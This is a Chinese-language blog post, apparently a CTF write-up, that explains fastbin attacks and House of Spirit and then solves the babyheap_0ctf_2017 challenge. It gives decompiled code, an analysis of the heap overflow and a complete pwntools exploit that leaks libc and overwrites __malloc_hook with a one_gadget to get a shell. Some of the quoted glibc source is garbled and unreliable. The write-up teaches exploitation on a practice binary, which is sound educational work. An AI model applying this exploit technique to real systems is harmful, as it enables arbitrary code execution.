mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
689 字
2 分钟
fastbinAtk
2026-04-29

FastBinAttack#

fastbin Attack 是一类漏洞的利用方法,是所有基于 fastbin机制的漏洞方法。这类利用的前提是

  • 存在堆溢出, Uaf等能够控制chunk 内容的漏洞
  • 漏洞发生于 fastbin 类型的chunk 中

fastbin 存在的原因是fastbin 是使用单链表来维护释放堆块的,并且 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 也不会被清空, 由下面的代码可以看到 fastbin 是这样管理空闲 chunk的

if (__builtin_expect (old == p, 0))
malloc_printerr("double free or corruption")
p->fd = PROTECT (&p->fd, old)
*fb = p;
}
else
do
{
/* Check that the top of the bin is not record we are going to add (i.e. double free)*/
if(__buildin_expect (old == p, 0))
malloc_printerr("double free or corruption")
old2 = old;
p->fd = PROTECT_PTR("double free or corruption(fasttop)")
}
...

House of spirit#

House of spirit的主要原理是改写 free 状态的 fast chunk 的fd 指针,在下一次分配时拿到目标地址的读写权

  1. 释放一个 fast chunk,并且为了防止 Tcahce的干扰,所以可能需要绕过Tcahce
  2. fast chunk 被放进了 fastbin,假设此时改chunk为第一个被放进 bin 的chunk,那么ptmalloc为其fd赋值为0
  3. 利用漏洞 改写fd指针为目标地址eg: __free_hook,
  4. 申请一个被释放大小的堆块

对于 __malloc_hook 中常用的偏移#

common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]

BABYHEAP_0CTF_2017 BUUCTF#

将程序拖入 ida 中 发现如下代码,经过逆向分析,还原出如下重要函数

int menu()
{
puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
return printf("Command: ");
}
void __fastcall allocate(__int64 a1) // 分配堆
{
int n15; // [rsp+10h] [rbp-10h]
int n4096; // [rsp+14h] [rbp-Ch]
void *v3; // [rsp+18h] [rbp-8h]
for ( n15 = 0; n15 <= 15; ++n15 )
{
if ( !*(_DWORD *)(24LL * n15 + a1) )
{
printf("Size: ");
n4096 = input_int();
if ( n4096 > 0 )
{
if ( n4096 > 4096 )
n4096 = 4096;
v3 = calloc(n4096, 1u);
if ( !v3 )
exit(-1);
*(_DWORD *)(24LL * n15 + a1) = 1;
*(_QWORD *)(a1 + 24LL * n15 + 8) = n4096;
*(_QWORD *)(a1 + 24LL * n15 + 16) = v3;
printf("Allocate Index %d\n", n15);
}
return;
}
}
}
__int64 __fastcall fill(__int64 a1)
{
__int64 n0x10; // rax
int n0x10_1; // [rsp+18h] [rbp-8h]
int n0x10_2; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
n0x10 = input_int();
n0x10_1 = n0x10;
if ( (unsigned int)n0x10 < 0x10 )
{
n0x10 = *(unsigned int *)(24LL * (int)n0x10 + a1);
if ( (_DWORD)n0x10 == 1 )
{
printf("Size: ");
n0x10 = input_int();
n0x10_2 = n0x10;
if ( (int)n0x10 > 0 )
{
printf("Content: ");
return sub_11B2(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), n0x10_2);
}
}
}
return n0x10;
}
__int64 __fastcall my_free(__int64 a1)
{
__int64 n0x10; // rax
int n0x10_1; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
n0x10 = input_int();
n0x10_1 = n0x10;
if ( (unsigned int)n0x10 < 0x10 )
{
n0x10 = *(unsigned int *)(24LL * (int)n0x10 + a1);
if ( (_DWORD)n0x10 == 1 )
{
*(_DWORD *)(24LL * n0x10_1 + a1) = 0;
*(_QWORD *)(24LL * n0x10_1 + a1 + 8) = 0;
free(*(void **)(24LL * n0x10_1 + a1 + 16));
n0x10 = 24LL * n0x10_1 + a1;
*(_QWORD *)(n0x10 + 16) = 0;
}
}
return n0x10;
}
int __fastcall dump(__int64 a1)
{
int n0x10; // eax
int n0x10_1; // [rsp+1Ch] [rbp-4h]
printf("Index: ");
n0x10 = input_int();
n0x10_1 = n0x10;
if ( (unsigned int)n0x10 < 0x10 )
{
n0x10 = *(_DWORD *)(24LL * n0x10 + a1);
if ( n0x10 == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * n0x10_1 + a1 + 16), *(_QWORD *)(24LL * n0x10_1 + a1 + 8));
return puts(s_);
}
}
return n0x10;
}

这是一个典型的菜单堆

  1. allocate 通过分析可以发现 程序通过一个有限长的结构体列表来管理堆块,这个结构体的结构如下
struct db {
QWORD is_use
QWORD size
QWORD ptr
}

程序会主动寻找首个 is_use 为空的结构体db 来分配堆块, 同时 可申请的堆块最大为 4096

  1. my_free 这里可以发现在free之后, 可以发现会将指针置为0,所以不能直接利用Uaf

  2. fill 这里可以任意写堆块内容, 同时存在堆溢出漏洞

  3. dump 打印堆块内容

题解#

由于在程序中不存在可以直接获得shell的函数 所以需要先泄露libc的地址, 因为这里不存在直接的Uaf,所以这里需要使用堆溢出伪造chunk 然后通过泄露 unsorted bins 的 bk 指针获取 libc 地址

所以首先泄露创建若干 fastbin 和一个unsortedbin 大小的 chunk

allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)
fix_chunk = flat(
{
#0 8 10 18
0x18: p8(0x21)
},
filler = b"\x00"
)
fill(3, fix_chunk)
fix_chunk = flat(
{
0x18: p64(0x91)
},
filler = b"\x00"
)
fill(3, fix_chunk)

首先将 12 两个 chunk 释放, 然后通过 chunk0 进行堆溢出修改chunk1fd

这里导致了 chunk2 -> chunk4

接下来只要继续申请就能够将 chunk4 申请到,此时实现了多个指针指向 chunk4

接下来是准备让 chunk4进入 unsorted bin 泄露 libc, 使得释放的chunk 进入 unsorted bin 存在如下条件

  1. 大小在 unsorted bin 的范围内
  2. 不是 Top chunk
allocate(0x80)
free(4)
libc_offset = 0x3c4b78
dump(2)
p.recvline()
leak_addr = u64(p.recv(8))
log.success(f": {hex(leak_addr)}")
libc.address = leak_addr - libc_offset
malloc_hook = libc.sym["__malloc_hook"]
log.success(f"libc_base: {hex(libc.address)}")
log.success(f"__malloc_hook: {hex(malloc_hook)}")

泄露出 libc的地址之后 我们就可以劫持__malloc_hook修改为 one_gadget,来获取shell, 一般来说在 __malloc_hook - 0x23 地址存在一个 天然的伪chunk,可以刚好用来修改malloc 的值

one_gadget = libc.address + 0x4526a
# payload = p64(libc.address + 0x3c4aed)
# common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]
payload = p64(malloc_hook - 0x23)
fill(2, payload)
allocate(0x60) # get fake_chunk
allocate(0x60)
payload = flat(
{
0x13: p64(one_gadget)
},
filler = b"\x00"
)
fill(6, payload)
allocate(0xff) # 执行 malloc hook
p.interactive()

exp#

于是完成如下EXP

from pwn import *
file = "./babyheap_0ctf_2017_patched"
libcf = "./libc-2.23.so"
host = "127.0.0.1"
port = 1234
fix_chunk = flat(
{
#0 8 10 18
0x18: p8(0x21)
},
filler = b"\x00"
)
is_remote = False
context.log_level = "debug"
context.binary = file
if is_remote:
p = remote(host, port)
else:
p = process(file)
elf = ELF(file)
rop = ROP(elf)
libc = ELF(libcf)
def menu(index: int):
global p
p.recvuntil(b"Command: ")
p.sendline(str(index).encode())
def allocate(size: int):
global p
menu(1)
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
def fill(index: int, content: bytes):
global p
menu(2)
size = len(content)
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"Size: ")
p.sendline(str(size).encode())
p.recvuntil(b"Content: ")
p.send(content)
def free(index: int):
global p
menu(3)
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
def dump(index: int):
global p
menu(4)
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
allocate(0x10) # 0
allocate(0x10) # 1
allocate(0x10) # 2
allocate(0x10) # 3
allocate(0x80) # 4
free(1)
free(2)
fake_chunks = flat(
{
# 0x0 0x8 0x10 0x18 0x20 0x28 0x30
0x18: p64(0x21),
0x38: p64(0x21),
0x40: p8(0x80)
},
filler = b"\x00"
)
fill(0, fake_chunks)
fix_chunk = flat(
{
#0 8 10 18
0x18: p8(0x21)
},
filler = b"\x00"
)
fill(3, fix_chunk)
allocate(0x10)
allocate(0x10)
fix_chunk = flat(
{
0x18: p64(0x91)
},
filler = b"\x00"
)
fill(3, fix_chunk)
allocate(0x80)
free(4)
libc_offset = 0x3c4b78
dump(2)
p.recvline()
leak_addr = u64(p.recv(8))
log.success(f": {hex(leak_addr)}")
libc.address = leak_addr - libc_offset
malloc_hook = libc.sym["__malloc_hook"]
log.success(f"libc_base: {hex(libc.address)}")
log.success(f"__malloc_hook: {hex(malloc_hook)}")
one_gadget = libc.address + 0x4526a
allocate(0x60)
free(4)
# payload = p64(libc.address + 0x3c4aed)
# common_offsets = [0x23, 0x1b, 0x13, 0x2b, 0x33]
payload = p64(malloc_hook - 0x23)
fill(2, payload)
allocate(0x60) # get fake_chunk
allocate(0x60)
payload = flat(
{
0x13: p64(one_gadget)
},
filler = b"\x00"
)
fill(6, payload)
allocate(0xff) # 执行 malloc hook
p.interactive()
分享

如果这篇文章对你有帮助,欢迎分享给更多人!

fastbinAtk
https://yoyolp.github.io/posts/interestingchall/malloc_hook_atk/
作者
超级玉米人
发布于
2026-04-29
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录